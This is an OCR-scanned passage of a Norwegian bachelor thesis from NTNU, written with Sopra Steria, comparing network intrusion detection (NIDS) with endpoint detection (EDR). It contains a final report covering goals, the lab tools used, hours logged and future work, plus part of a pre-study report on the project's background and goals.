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Forord

Om de involverte og studieretningen

Denne rapporten er skrevet av Adrian Gilberg og Erlend Saugstad i forbindelse med
bachelorprosjektet Deteksjon og visibilitet pa nettverksniva. Bachelorprosjektet er utarbeidet i

samarbeid med IT-selskapet Sopra Steria.

Begge deltakere i prosjektgruppen er studenter under studieprogrammet Informatikk, Drift av
Datasystemer. Studieretningen er tilknyttet NTNU, og tilhgrer Institutt for datateknologi og

informatikk, ved Fakultet for informasjonsteknologi og elektroteknikk.

Om prosjektet og hva som er leert

Bachelorprosjektet har utgangspunkt i en problemstilling utarbeidet av Sopra Steria.
Prosjektgruppen har i samarbeid med veileder fra selskapet kommet frem til en plan, strategi

og malsetninger for prosjektarbeidet, med utspring i den opprinnelige problemstillingen.

| tillegg til de faktorene som direkte tilknyttes oppgavens innhold og fremgangsmate, har det
ogsa veert et viktig mal for bade prosjektgruppen og interessentene at arbeidet skal medfare
en stor leeringskurve og tilegnelse av mye ny kunnskap og erfaring, samtidig som det
etterstrebes et resultat som er av nytteverdi for alle involverte parter. Pa bakgrunn av dette har
prosjektgruppen valgt en tilnsermelse til oppgaven som ogsa baerer preg av et praktisk
element, blant annet bestaende av a bygge et eget labmiljg hvor egne tester har blitt
gjennomfart. Dette har veert en sveert leererik prosess, hvor prosjektgruppen ogsa har fatt

mulighet til & fa “hands on”-erfaringer med slikt arbeid.

Problemstillingen omhandler visibilitet og deteksjon pa nettverksniva, noe som er et svert
aktuelt aspekt for sikkerhetsarbeid i et moderne og teknologisk miljg. Tidligere har det veert
vanlig a basere store deler av sikkerhetsarbeidet pa et NIDS (Network Intrusion Detection
System), en teknologi som monitorerer nettverkstrafikk og inspiserer denne for a detektere
potensielle trusler. Samtidig har det de siste arene stadig blitt mer attraktivt & i hovedsak

basere seg pa sikkerhetsmekanismer som monitorerer og reagerer pa aktivitet som skjer pa
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endepunkter, noe man oppnar ved et EDR (Endpoint Detection and Response). Pa grunn av
nye standarder for nettverkstrafikk, foregar det meste av dette over krypterte protokoller i
dag, noe som igjen reduserer noe av innsikten NIDS tidligere har kunnet tilby. Dette

prosjektet ser nsermest pa NIDS, og forsgker & undersgke i hvilken grad man taper pa a ga

bort fra den typen teknologi som en del av et helhetlig moderne sikkerhetssystem.

Prosjektgruppen hadde grunnleggende kunnskap og erfaring med skytjenester ved prosjektets
oppstart, men sveert lite kunnskap om relevante sikkerhetssystemer og deres funksjonalitet.
Fra oppstarten til slutten for prosjektperioden, har det kontinuerlig blitt gjort undersgkelser,
og etterhvert en del praktisk arbeid. Learingsutbytte i forbindelse med dette har veert veldig
stort, og prosjektgruppen har underveis gjort ulike pivoteringer og justeringer i strategi og
fremgangsmate, i lys av ny kunnskap som ble tilegnet pa vegen. I lgpet av arbeidet har det
ogsa dukket opp en rekke uforutsette problemer, som har veert bade utfordrende og leererikt &

finne lgsninger pa.

Ved prosjektets slutt sitter prosjektgruppen igjen med mye kunnskap om ulike verktey og
teknologier innen datasikkerhet, serlig innen NIDS og EDR, men ogsa knyttet til en rekke
trusler, sdrbarheter og angrepsvektorer, og hvilke spor som blir lagt igjen i forbindelse med et
angrep. | tillegg har det blitt tilegnet mye direkte erfaring med a jobbe med slike teknologiske

verktay, bade i forbindelse med angrep, monitorering og deteksjon.

Takk til

Prosjektgruppen gnsker a rette en stor takk til de som har bidratt under gjennomfgringen av

dette prosjektet. Dere har veert til stor hjelp jevnt gjennom hele prosjektperioden.

- Stein Meisingseth, veileder fra NTNU. Takk for god veiledning, tilbakemeldinger og
motiverende ord, bade gjennom bachelorprosjektet og hele det gvrige studielgpet!

- Vegar Asmul, veileder fra Sopra Steria. Takk for at vi fikk muligheten til & bryne oss
en sa spennende og krevende oppgave. Vi setter ogsa stor pris pa all veiledning,
tilbakemeldinger, teknisk innsikt, diskusjon, og hjelp til a navigere ved viktige veivalg

underveis i oppgaven.
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1. Introduksjon

1.1 Hensikten med sluttrapporten

Hensikten med sluttrapporten er & gi et kort, enkelt og oversiktlig bilde av prosjektet som
helhet, hva oppgaven omhandler, hvordan prosessen har gatt, og en evaluering av arbeidet.

Rapporten er det fjerde formelle dokumentet i en serie av fire dokumenter som falger
bacheloroppgavens gang, og bygger pa en forstudierapport, en designrapport og en

driftsrapport utarbeidet pa et tidligere tidspunkt.

1.2 Oppgavebeskrivelse

Utgangspunktet for prosjektet var en problemstilling presentert av Sopra Steria, knyttet til
visibilitet og deteksjon pa nettverksniva. Den inneholdt en pastand om at den tradisjonelle
NIDS-tjenesten er pa vei ut, da nettverkstrafikk i stor grad foregar pa krypterte protokoller i
dag. Videre forklares det at mye av visibiliteten flyttes til endepunktsniva, inkludert innsyn i
nettverkstilkoblinger, men at dette gar pa bekostning av signaturbasert nettverksdeteksjon,
pakkedump-analyse og SSL-inspeksjon. Med utgangspunkt i dette stilles det spgrsmal rundt
hvilke «trade-offs» man gjar ved & ga bort fra & basere seg pa NIDS til fordel for

EDR/logganalyse-basert deteksjon.
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2. Hvordan oppgaven ble lgst

Det er flere mater en kunne gatt frem pa for a lgse en slik oppgave. For eksempel kunne man
hatt en rent teoretisk tilneerming til prosjektet, og besvart problemstillingen i form av et
dokumentstudie. Prosjektgruppen gnsket derimot ogsa a undersgke teknologiene mer direkte,
og valgte a ga for en fremgangsmate som baserer seg pa en kombinasjon av teori og praktisk
arbeid. Pa denne maten var det enklere a fa et forhold til hvordan teknologiene fungerer, og fa
praktisk farstehandserfaring med dem. Prosjektgruppen var tidlig ute med a gjare
undersgkelser og kartlegge den teoretiske overflaten som tilhgrer dette aspektet ved
nettverkssikkerhet. Det ble satt i gang en iterativ planleggingsprosess for a finne frem til en
realistisk strategi for a lgse oppgaven. Prosjektets overordnede omfang ble tatt i betraktning,
og i lapet av de farste ukene ble det skissert en grov inndeling og plan tilknyttet arbeidet for
hele prosjektperioden.

Prosjektet ble inndelt i fire ulike faser, hvorav hver av dem har egne arbeidsoppgaver, mal, og

en varighet. De fire fasene var som fglger:

- Fase 1: Oppstartsfasen

- Fase 2: Designfasen

- Fase 3: Implementasjons- og driftsfasen
- Fase 4: Avslutningsfasen

Dette er en inndeling som vi etablerte i startfasen av prosjektet, og her fremla vi ogsa et
utgangspunkt for hvor lang tid de forskjellige fasene skulle ta. Dette ble presentert gjennom
en framdriftsplan som vi fremla i Forstudierapporten. De ulike fasene ble underveis i
prosjektet fulgt i stor grad. Unntaket er at driftsfasen ble noe kortere enn det vi hadde sett for
oss. Dette skyldes i stor grad at designfasen tok lenger tid enn vi hadde planlagt, men ogsa

fordi formelt prosjektarbeid tok mer tid enn vi anslo.

Ellers ble ogsa arbeidet med implementasjons- og driftsfasen noe mindre effektivt enn vi
hadde sett for oss. Dette er i stor grad tilknyttet uforutsette problemer med det virtuelle
testmiljget, da arbeidet her kort sagt gikk treigere enn vi antok pa forhand. Hvorfor det ble

slik er vi ikke sikre pa, da det er mange ledd i det virtuelle miljget vart som potensielt kan ha
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veert flaskehalsen, men det er naturlig & tenke seg frem til at mer prosessorkraft ville minsket

problemene her.

2.1 Maskinvare

Underveis i prosjektet ble det gjort en grundig vurdering av hvordan maskinvare vi skulle
benytte oss av under arbeidet med prosjektet. Maskinvaren som prosjektgruppa endte opp
med & bruke bestar av en virtuell maskin satt opp i Azure. Spesifikasjonene er presentert

gjennom bildene under, og kostnadene til maskinvaren ble dekket av NTNU.

B3 irtasl mashing

2.2 Operativsystemer og programvare

Det ble benyttet en rekke forskjellige operativsystemer og programvarer underveis i arbeidet

med prosjektet. De mest sentrale er presentert i tabellen under med tilhgrende

versjonsnummer.
Operativsystemer Versjon
Windows Server 2019 Datacenter 1809
Windows 10 20H2
Windows 7 Ultimate V6.1, SP1
Kali Linux 2021.1
Security Onion 2.3.30
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Programvare Versjon
VirtualBox 6.1.18
Suricata 6.0.1
Zeek 3.0.13
Wireshark 3.44
Nessus 8.14
Metasploit 6.0.38-dev
Nmap 7.91

2.3 Arbeidsfordeling

Nar det kommer til arbeidsfordelingen i prosjektet, tok vi utgangspunktet i en modell der
begge medlemmene i prosjektgruppa ble involvert i planleggingen og gjennomfgringen av
alle aktiviteter. Dette innebar at vi ikke hadde en klar og overordnet arbeidsfordeling delt inn
etter omrader, men at vi isteden hadde som utgangspunkt at begge prosjektdeltakerne skulle
involveres i alle aktiviteter. Grunnen til at vi valgte en slik fremgangsmate, var at vi fglte at
denne metoden ville fare til best laering for begge to i prosjektgruppa, samtidig som vi ville

bli bedre rustet til & diskutere alle aspekter rundt oppgaven.
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3. Maloppnaelse

| starten av prosjektperioden ble det utformet mal og rammebetingelser i forbindelse med
bacheloroppgaven. Disse blir trukket frem igjen her, ved slutten av prosjektets
arbeidsperiode, for a undersgke i hvilken grad oppgaven har lykkes i a realisere disse, i

tillegg til diskusjon der det er relevant.

3.1 Effektmal

Effektmalene beskriver mal for arbeidet som er knyttet til hvilke effekter som skal komme ut
av prosjektet, i form av konkrete resultater. | tabellen under er en oversikt over hvilke
effektmal som ble lagt for denne bacheloroppgaven under forstudiet, og hvorvidt de har blitt

oppnadd ved prosjektets slutt.

Mal Oppnadd Beskrivelse

Bidra til at Sopra Steria far | Vurderesav | Oppgaven ble tidlig i deisgnfasen pivotert

gkt innsikt i hvordan NIDS- | oppdragsgiver | til & kun gjere forsgk hvor det brukes

og EDR-teknologi NIDS. Resultatene av forsgkene er
differensierer seg i lys av dokumentert i driftsrapporten, og
dagens teknologiske bilde diskuteres derfra opp mot EDR. Grad av

oppnaelse her, avhenger av oppdragsgivers
subjektive oppfatning av prosjektets
resultater, og kan dermed ikke vurderes av

prosjektgruppen.

Skape et godt grunnlag for Vurderesav | Hele prosessen for implementasjonen av

fremtidige kost/nytte- oppdragsgiver | testmiljget er dokumentert, inklusivt hva
beslutninger hos Sopra Steria som er brukt av ressurser. Dette, i tillegg til
relatert til deteksjon og resultatene fra forsgkene, kan bidra som
sikkerhetsanalyse pa faktorer for fremtidige kost/nytte-
nettverksniva beslutninger hos Sopra Steria.

Hvorvidt dette er et hensiktsmessig

utgangspunkt for oppdragsgiver, er ikke
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opp til prosjektgruppen a vurdere.

3.2 Resultatmal

Resultatmalene er mal som er knyttet til hva som etterstrebes a veere gjort ved prosjektets

slutt.

Mal Oppnadd Beskrivelse

Produsere en testlab der vi Ja Prosjektgruppen har implementert en

har muligheten til & simulere testlab, som fungerer etter hensikt. Dermed

nettverkstrafikk for a teste ut er det ogsa en tilstedevaerende mulighet for

NIDS og EDR-teknologi a simulere nettverkstrafikk for & teste ut
teknologiene i dette mijlget, selv om dette
ikke ble praktisert i sa stor grad pga.
pivotering av fremgangsmate underveis.

Produsere empiriske data fra | Ja Gjennom forsgkene som har blitt utfert i

testlaben som er bygget, som testmiljeet, har det blitt produsert

kan benyttes til videre empiriske data, som vi igjen har veert

analyser utgangspunkt for videre analyser.

Gjennomfgre en god analyse | Ja | driftsrapporten har det blitt gjennomfart

pa dataene fra testmiljoet
som gir 0ss innsikt i hvordan
NIDS og EDR-teknologi

differensierer seg

en grundig analyse av dataene fra
testmiljget. Disse dataene gir i stor grad
innsikt i hvordan NIDS-teknologi fungerer.
Falgende kan dataene ogsa gi innsikt i
hvordan NIDS og EDR-teknologi
differensiere seg, men kunnskapen
vedrgrende EDR-teknologien er da ikke

basert pa arbeid i laben.
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Utforme god dokumentasjon
som beskriver prosessen vi
har gjennomfart og bidrar til
a gjare testmiljget
reproduserbart, og legger til

rette for videre arbeid

Ja

Prosjektgruppen har hele tiden underveis i
arbeidet med a implementere testmiljget,
dokumentert viktige elementer i denne
prosessen. Dette skal veere tilstrekkelig
dokumentert for at en ekstern part skal
kunne bygge et tilsvarende miljg med

utgagnspunkt i driftsrapporten.

3.3 Prosessmal

Prosessmalene er ikke knyttet til resultat eller innhold av selve prosjektet, men beskriver

gnskede effekter som arbeidet skal ha pa prosjektdeltakerne.

til kommunikasjon og
samarbeid. Dette gjelder
bade internt i prosjektgruppa,
men ogsa mellom oss og
bedriften.

Mal Oppnadd Beskrivelse

Bygge kompetanse innenfor | Ja Prosjektgruppen har i stor grad bygd
datasikkerhet, spesielt i kompetanse innenfor datasikkerhet
forbindelse med deteksjon pa gjennom arbeidet med testmiljget og
nettverksniva prosjektet ellers.

Forbedre oss nar det kommer | Ja Prosjektgruppen har arbeidet sammen

kontinuerlig gjennom hele
arbeidsperioden, og gjort en rekke tiltak
for & optimalisere samarbeidsprosessen.
Eksempelvis har innhold og mal for hver
arbeidsgkt er blitt utformet pa starten av
dagen og hver uke har blitt avsluttet med
en evaluering av prosess og utfert arbeid.
Det har ogsa blitt avholdt ukentlige mater

med eksterne veiledere.
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Skape en god relasjon til Ja
veiledere fra NTNU og
Sopra Steria

Prosjektgruppen har etterstrebet en god
relasjon til veilederne fra NTNU og Sopra
Steria, ved a regelmessig opprettholde en
dialog. Vi har som hovedregel avsluttet
hver uke med et digitalt mgte med
veilederne, avtalt ekstra mgter ved behov,
og ellers kommunisert via mail, og sgrget
for oppdatert fildeling pd Teams-

plattformen.

Tilegne oss erfaring og gkt | Ja
innsikt i hvordan det er &
gjennomfare et starre

prosjekt

Prosjektgruppen har i stor grad tilegnet seg
god erfaring tilknyttet planlegging,
gjennomfgring og evaluering av et stgrre
prosjekt med flere interessenter (veiledere

0g oppdragsgiver)..

3.4 Rammebetingelser

Rammebetingelsene er styrende for prosjektet, og stiller noen absolutte krav til ulike deler av

prosjektarbeidet og resultater av dette. For at prosjektet skal kunne ansees som en suksess, ma

disse betingelsene vare oppfylt.

- Prosjektet skulle dokumenteres
underveis i prosjektperioden
gjennom fem formelle dokumenter:
forstudierapport, designrapport,

Rammebetingelse: Oppnadd
Ferdigstilling av prosjekt: Ja
- Innleveringsfristen for prosjektet var
satt til 20. mai
Arbeidstid: Ja
- Det skulle arbeides mellom 475 og
525 timer med prosjektet i lgpet av
prosjektperioden
Dokumentasjon: Ja
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driftsrapport, sluttrapport og
prosjekthandbok

Kostnader: Ja
- Prosjektet skulle holde seg innenfor
de kostnadsrammene som var satt

3.5 Timebruk

Prosjektgruppen har underveis i hele arbeidet loggfert timer for hver gkt. De registrerte
timene har blitt tilknyttet en arbeidsfase i tillegg til en arbeidsoppgave, slik at det har veert
enklere & monitorere og analysere den tidsmessige ressursfordelingen underveis, i henhold til
det som har blitt estimert i forkant under planleggingsarbeidet. Det er benyttet 5 ulike
kategorier for timefagring; Oppstartsfasen, Designfasen, Driftsfasen, Sluttfasen, og
Prosjektarbeid. Hver av dem innehar ulike underkategorier, som har en unik assosiasjon til
hva slags type arbeid som er utfart. Prosjektarbeid-kategorien fglger hele prosjektet, og bestar

av mgtevirksomhet, dokumentasjonsarbeid, og evaluering av fremdrift.

Alle timer har blitt loggfart i felleskap, og ikke individuelt. Dette kommer av
arbeidsfordelingen som er presentert i punkt 2.3. Det ble totalt arbeidet 477,5 timer i
fellesskap i lgpet av prosjektperioden. Under presenteres en enkel oversikt over hvordan

arbeidstimene ble fordelt.

Tidsforbruk sortert etter kategori

= Oppstartsfasen (66.5
timer)

= Designfasen (92 timer)

Implementasjons- og
driftsfasen (238 timer)

m Prosjektarbeid (50
timer)

= Avslutningsfasen (32
timer)
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4. Videre arbeid

Prosjektperioden har veert sveert omfattende og leererik, og oppgaven har et iboende
potensiale til & inneholde en rekke forsgk og tilneerminger utover det som er inkludert i dette
arbeidet. Prosjektgruppen har i lgpet av arbeidsperioden betraktet en rekke muligheter, forsgk
og delprosjekter som er av relevans for oppgaven, og videre kommet opp med en prioritering
av disse. Ut fra dette har det vert en underliggende interesse for & fa mulighet til 4 se
narmere pa sa mange av disse aspektene som mulig. Prioriteringene har likevel vert sveert
viktige, da en arbeider innenfor en begrenset tidsperiode og man vet at det ikke er
tilstrekkelig tid for a realisere alle mulighetene, og det er derfor ngdvendig a kutte ut flere av

idéene underveis, til fordel for & oppna et godt resultat pa de gvrige oppgavene.

Pa bakgrunn av at ressursene som var ngdvendige for & bygge infrastrukturen til testmiljget,
ble tilgjengeliggjort en maned senere enn planlagt oppstart med dette arbeidet, ble
prosjektgruppen ngdt til a gjare kompromisser pa innholdet av forsgk som kunne fokuseres
pa i den praktiske delen. Dersom ressursene hadde blitt tilgjengeliggjort tidligere, eller
dersom den tidsmessige varigheten av prosjektet hadde vart lenger, ville prosjektgruppen
utfart flere tester og fremgangsmater med utgangspunkt i testmiljget. Det er likevel et kneppe
med fremgangsmater for videre arbeid som prosjektgruppa finner serlig interessant og som vi

derfor gnsker & nevne her.

Av searlig interesse for videre arbeid finner vi arbeidsoppgaver som omhandler a utfgre tester
med angrep som falger en spesifikk MITRE ATT&CK teknikk, taktikk eller gruppe, og
falgelig ga i dybden pa hvordan sikkerhetsteknologien som arbeidet er sentrert rundt vil
fungere i samspill med de aktuelle truslene. Dette er en metodikk som vi til dels benyttet oss
av i prosjektet, men som vi gjerne skulle brukt mer tid pa, og falgende gatt enda mer i dybden
pa. Grunnen til at vi finner dette spesielt spennende skyldes i stor grad en underliggende
interesse for MITRE-rammeverket, og spesielt satt i kontekst av nettverksbasert deteksjon og
visibilitet.

Ellers er det ogsa flere muligheter for a bygge videre pa det testmiljeet som vi har satt opp i
lgpet av prosjektperioden. For det farste hadde det veert interessant & implementere

muligheter for SSL/TLS-inspeksjon i testmiljget. | dette tilfellet matte vi ha satt opp en
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SSL/TLS-Proxyserver, noe som er omtalt i prosjektets designrapport. Videre er det kanskje

mest spennende, gitt oppgavens kontekst, & implementere en klient med EDR-programvare i
testmiljget. Da ville det i starre grad blitt lagt til rette for @ sammenligne teknologiene NIDS
og EDR mer direkte, og fglgende kunne man undersgkt overlappingen mellom teknologiene

pa en bedre mate. Dette ville tilrettelagt for et enda bedre grunnlag for & svare pa oppgaven.

Hadde man implementert en EDR-Klient i testmiljget ville man ogsa muliggjort en annen
spennende arbeidsmetodikk. Denne metodikken ville tatt utgangspunktet i at man ogsa satte
opp en SIEM, der man felgende benyttet EDR-klienten og NIDS som to forskjellige
datakilder inn til SIEM-en. | dette tilfellet ville man kunnet behandlet dataen som kom fra
begge datakildene sammen, og falgelig kunne teknologiene potensielt samarbeidet og videre
potensielt forsterket hverandre. Dette ville kunne fart til at man kunne implementert NIDS i

et nettverk, som en stgtteteknologi til EDR, uten at det ville kostet noe seerlig ressurser.

Metodikkene for videre arbeid som konkret er nevnt over er metoder som vi i prosjektgruppa
gnsker & arbeide med videre, og som vi haper vi vil fa muligheten til a arbeide med senere.
Uansett ser vi fram til & bruke erfaringene og kunnskapene som vi har opparbeidet gjennom

arbeidet med prosjektet videre fremover i arbeid med datasikkerhet senere i livet.
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5. Endringer underveis I prosjektet

Det har i lgpet av prosjektet blitt foretatt flere endringer og pivoteringer underveis. Seerlig i
lgpet av den farste perioden ble oppgaven snevret inn og fremgangsmaten endret pa, men
riktignok uten at dette hadde noen kritisk innvirkning pa prosjektet, da det ikke resulterte i
noe tapt arbeid. Det har heller ikke senere i prosjektperioden blitt foretatt noen endringer som
har medfart kritiske innvirkninger pa oppgaven. Stort sett har dette veert justeringer av
fremgangsmater, fra en opprinnelig plan til noe man senere har erkjent til & veere en mer
optimal metodikk. Det har ogsa forekommet noen avvik i form av & ga bort fra noen
oppgaver, som originalt var planlagt & gjennomfare. Dette har skjedd som et resultat av
revidering av planer, prioriteringer, tidspress, og tilegnelse av ny kunnskap som motstrider

nyttigheten av a gjennomfare dem.
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Begreper og definisjoner

Azure Skytjeneste fra Microsoft. Brukes blant
annet til bygging, testing, utrulling og

administrering av applikasjoner og tjenester.

EDR Endpoint Detection and Response -
Sikkerhetssystem for & detektere og reagere
pa trusler som oppdages pa et endepunkt.

IDS Intrusion Detection System - Programvare
eller enhet som brukes til deteksjon av

skadevare pa systemer og nettverk

| 1
NIDS Network Based Intrusion Detection System -

IDS-programvare eller enhet som overvaker

og detekterer pa nettverksniva

VM Virtuell Maskin - En datafil som oppfarer

seg som en faktisk datamaskin.

SIEM Security Information and Event Manager
(SIEM) er et system for
sikkerhetsinformasjon og
hendelseshandtering. Det fungerer som et
samlingssted for logger, og genererer

sikkerhetsvarsler basert pa disse.

MSSP Managed Security Service Provider. En
MSSP handterer sikkerhetstjenester for
sluttbrukere, slik som monitorering og

handtering av hendelser.
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1. Introduksjon — hensikten med

dokumentet

Denne forstudierapporten er skrevet i forbindelse med et bachelorprosjekt som skal

gjennomfares i samarbeid med IT-selskapet Sopra Steria.

Rapporten er det farste formelle dokumentet i en serie av fire dokumenter som falger

bacheloroppgavens gang.

1.1 Hensikten med forstudierapporten

Hensikten med denne rapporten og arbeidet rundt den, er & undersgke, konkretisere og
formidle de viktigste momentene og detaljer som eksisterer i tilknytning til prosjektet i sin
helhet. Den skal kunne gi et innblikk i essensielle punkter som hva prosjektet omhandler,
hvilke rammer arbeidet befinner seg innenfor, hva som skal oppnas, og hvilke ambisjoner og
mal som ligger til grunn for dette. Utarbeidelsen av dette dokumentet vil ogsa bere preg av
en evaluerende dimensjon, som har en viktig hensikt ved & plassere det planlagte arbeidet
tilknyttet hele prosjektperioden innenfor realistiske og effektive betingelser.

Arbeidet bak dette dokumentet manifesterer seg som en forstudie for prosjektets start.
Resultatet av studiet vil medfare verdifull innsikt rundt hva som skal skje fremover, og hva
som skal til for & lykkes med prosjektet. Dette gjelder ikke bare selve prosjektgruppen, men
ogsa alle interessenter. Dermed vil arbeidet allerede fra forstudierapporten fremga som et
produkt av samhandling mellom alle involverte parter.

Siden innholdet i rapporten i all hovedsak hviler pa fremtidig arbeid, inngar det en
overhengende mulighet for at noen av detaljene her kan vaere subjekt for endring i lgpet av
tiden fremover. Prosjektgruppen vil i lys av dette vere ansvarlig for a utarbeide nye versjoner
av denne dokumentasjonen, og formidle dette til de involverte interessentene, dersom dette

skulle vise seg a bli aktuelt pa et senere tidspunkt.

1.2 Innholdet i forstudierapporten

De ulike detaljene i forstudierapporten strukturerer seg rundt en rekke punkter som vil vere
viktige for en grundig planlegging av prosjektet fremover, og kunne gi et solid underliggende

utgangspunkt for a lykkes med dette arbeidet.

Side 5av 41

Side 26 av 221



Forstudierapport Oppgavenummer 44 @ NTNU

Innledningsvis vil bakgrunnen for hvordan prosjektet oppsto bli presentert, og det vil bli
fremlagt et kort og generelt bilde av hvordan dagens situasjon ser ut hos Sopra Steria. Her er
det mest fokus pa eksisterende sikkerhetslgsninger og hvilke prioriteringer som ligger bak, i
tillegg til metodikk og rutiner som eksisterer i tilknytning til dette.

Videre presenteres en beskrivelse av de ulike malene, differensiert pa maltype, som i lgpet av
forstudiet pa ndveerende tidspunkt har blitt fastsatt. Dette vil legge tydelige feringer pa
hvilken retning prosjektet er uttenkt til a ta, i tillegg til hva som skal som skal veere oppnadd
ved prosjektets sluttdato.

Hvilke interne og eksterne interessenter som er involverte i prosjektet blir presentert i kapittel
4, og det gis en oversikt over hvilke roller som er assosiert med de ulike partene i prosjektet. |
tillegg til dette blir ogsa rammebetingelsene som er satt for prosjektarbeidet definert her, og
vil veere et viktig utgangspunkt for fremtidig oppfelging. Det er ogsa sveert viktig 4 poengtere
hvilke kritiske suksessfaktorer som ligger til grunn for prosjektet som helhet, og dette vil i

tillegg til informasjonsbehovet bli beskrevet i kapittel 5.

| forbindelse med prosjektet, er det blitt utarbeidet en risikoanalyse, som blir presentert i
kapittel 6. Her far vi innsikt i det som har blitt vurdert til & veere de viktigste risikofaktorene i
prosjektperioden. Det blir gjort en individuell forklaring og risikovurdering av hver enkelt
faktor, og videre fremstilles det totale risikobildet og et kart over de mest kritiske og
relevante risikofaktorene. Det er i tillegg vurdert noen relevante tiltak for de mest kritiske

faktorene.

| kapittel 7 er det utformet en kost/nytte-analyse. Her er det tatt stilling til hvilke fordeler
resultatet av prosjektet kan ha, og dette stilles opp mot hvilke kostnader som er assosiert med
prosessen mot a oppna dette. Detaljnivaet pa denne analysen er begrenset til den grad
prosjektgruppen har ansett som mest hensiktsmessig og realistisk i forbindelse med hvilken

type arbeid som blir utfert.

Det er ogsa en rekke retningslinjer og standarder som inngar i arbeidet til dette prosjektet. |
kapittel 8 blir disse listet opp og forklart. Her er det ogsa en overhengende mulighet for at det

vil oppsta flere punkter underveis som vi kommer lenger inn i arbeidet med prosjektet.
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| kapittel 9 gis det en oversikt over prosjektorganiseringen. Her blir vi presentert for hvilket
team som skal utfgre arbeidet, og alle involverte parter. Rollene til hver enkelt part kommer

ogsa frem i denne oversikten.
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2. Bakgrunn for prosjektet

| dette kapittelet vil vi beskrive bakgrunnen for hvorfor prosjektet oppsto. Vi vil ogsa gi et
kort innblikk i hvordan sikkerhetslgsninger er satt sammen i Sopra Steria i dag.

2.1 Beskrivelse av problemer og behov

Sopra Steria Scandinavia tiloyr Managed Security Services ("MSSP-tjenester™) fra sitt
Security Operations Center (SOC) til virksomheter i Norge. Pa vegne av eksterne kunder gjar
analytikere ved Sopra Sterias SOC trusseletterretning, sikkerhetsmonitorering og
hendelseshandtering pa daglig basis. Sopra Steria SOC leverer ogsa tjenester internt i egen

virksomhet, og er kompetansemiljg for cybersikkerhet internt i Sopra Steria.

Tradisjonelt sett har store deler av deteksjonsarbeidet tilknyttet sikkerhetsmonitoreringen blitt
gjennomfart av forskjellige versjoner av IDS, og dette har i hovedsak veert tilstrekkelig for a
monitorere nettverkstrafikken. De siste arene har stadig starre deler av nettverkstrafikken
begynt & bli kryptert. Samtidig har ogsa angrepene blitt mer sofistikerte, og utviklet ulike
strategier som gjer det vanskeligere for sikkerhetssystemer & fange opp. Som et resultat av
dette fungerer mye av funksjonaliteten til IDS, som signaturbasert nettverksdeteksjon og
pakkedump-analyse, ikke lenger optimalt. IDS kan dermed se ut til & vaere mindre relevant og
effektivt enn tidligere. Samtidig har det kommet andre systemer som kan lgse
deteksjonsproblematikken pa en god mate, som for eksempel EDR, en teknologi som baserer
seg pa deteksjon og respons tilknyttet trusler pa endepunktsniva. Trenden har derfor veert at
den sentrale posisjonen som nettverksbaserte IDS-teknologier tradisjonelt har hatt i helhetlige
lgsninger for sikkerhetsmonitorering, gradvis har blitt erstattet av endepunktsbaserte EDR-

teknologier.

Sopra Steria har tatt et strategisk valg i a satse pa EDR-teknologi fremfor IDS nar de har
bygget ut sin verktaykasse for sikkerhetsmonitorering og hendelseshandtering. Tanken er at
endepunktsbasert monitorering gir god visibilitet bade rundt hva som skjer pa endepunktet og
hvilken nettverkstrafikk som genereres derfra. Ved a korrelere dette videre med innsamlede

logger og andre deteksjonsteknologier er hypotesen at man kan danne et helhetlig bilde av
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aktivitet pa nettverk sa vel som endepunkt, som gjer SOC i stand til 2 oppdage og handtere

hendelser pa en god mate.

Det er imidlertid gnskelig & se naermere pa hvilke trade-offs man gjar ved a bygge denne
typen lgsninger uten den tradisjonelle IDS-teknologien. Sopra Steria gnsker empiri pa dette

for & kunne ta velinformerte valg rundt videre utvikling av sin verktgykasse.

2.2 Kort om dagens systemer og rutiner

MSSP-tjenestespekteret som tilbys fra Sopra Sterias SOC realiseres i dag ved hjelp av et
komplekst gkosystem sammensatt av flere teknologier som hver seg bidrar med visibilitet
eller mitigeringskapabiliteter avhengig av hvilke tjenester som er aktivert hos den enkelte
kunde. Dette tjenestespekteret skal ikke gjennomgas i dybden her. | stedet skal innholdet

presenteres overordnet, uten store detaljer.

MSSP-tjenestespekteret bestar av en rekke verktgy, som til sammen utgjer en verktgykasse
av tjenester. Deler av verktgykassa er videre er satt sammen opp mot et SIEM-verktgy, som
igjen er koblet opp mot et rapporteringssystem, og knytter Sopra Steria direkte til kundene
sine. Sentralt i verkteykassa ligger EDR-teknologi, som gir innsikt i filer, prosesser og

nettverkstilkoblinger som observert fra endepunkter.
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3. Prosjektmal

For & kunne sgrge for god styring av prosjektet underveis, og i tillegg gjgre dette pa en
hensiktsmessig mate i samhandling med eksterne interessenter, er det viktig at
prosjektgruppen fastsetter konkrete mal i tilknytning til prosjektarbeidet. Videre er det viktig
at disse malene er operasjonelle, slik at de effektivt kan fungere som indikatorer underveis for
hvordan arbeidet ligger an, i tillegg til & kunne evaluere graden av suksess i etterkant. Malene
vil ogsa kunne spille en viktig rolle for a serge for at alle involverte parter oppnar en felles

forstaelse for hva som inngar i prosjektarbeidet.

Videre i dette kapittelet ser vi neermere pa de ulike malene som er fastsatt, differensiert pa
effektmal, resultatmal og prosessmal. I tillegg skal vi her ga inn pa prosjektets omfang, og
hvilke milepeler og hovedaktiviteter som er knyttet til arbeidet.

3.1 Effektmal

- Bidratil at Sopra Steria far gkt innsikt i hvordan NIDS- og EDR-teknologi
differensierer seg i lys av dagens teknologiske bilde

- Skape et godt grunnlag for fremtidige kost/nytte-beslutninger hos Sopra Steria relatert
til deteksjon og sikkerhetsanalyse pa nettverksniva

3.2 Resultatmal

- Produsere en testlab der vi har muligheten til a simulere nettverkstrafikk for a teste ut
NIDS og EDR-teknologi

- Produsere empiriske data fra testlaben som er bygget, som kan benyttes til videre
analyser

- Gjennomfare en god analyse pa dataene fra testmiljget som gir oss innsikt i hvordan
NIDS og EDR-teknologi differensierer seg

- Utforme god dokumentasjon som beskriver prosessen vi har gjennomfert og bidrar til

a gjare testmiljget reproduserbart, og legger til rette for videre arbeid
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3.3 Prosessmal

- Bygge kompetanse innenfor datasikkerhet, spesielt i forbindelse med deteksjon pa
nettverksniva.

- Forbedre oss nar det kommer til kommunikasjon og samarbeid. Dette gjelder bade
internt i prosjektgruppa, men ogsa mellom oss og bedriften.

- Skape en god relasjon til veiledere fra NTNU og Sopra Steria

- Tilegne oss erfaring og gkt innsikt i hvordan det er a gjennomfare et stgrre prosjekt

3.4 Prosjektets omfang

Gjennom malene som vi formulerte tidligere i punkt 3, satte vi en retning for hva prosjektet
skal fordype seg i. Prosjektets omfang fungerer som et supplement til disse prosjektmalene,
og Vi vil her beskrive ytterlige grenser for hva prosjektet skal ta for seg. For a gjere dette pa

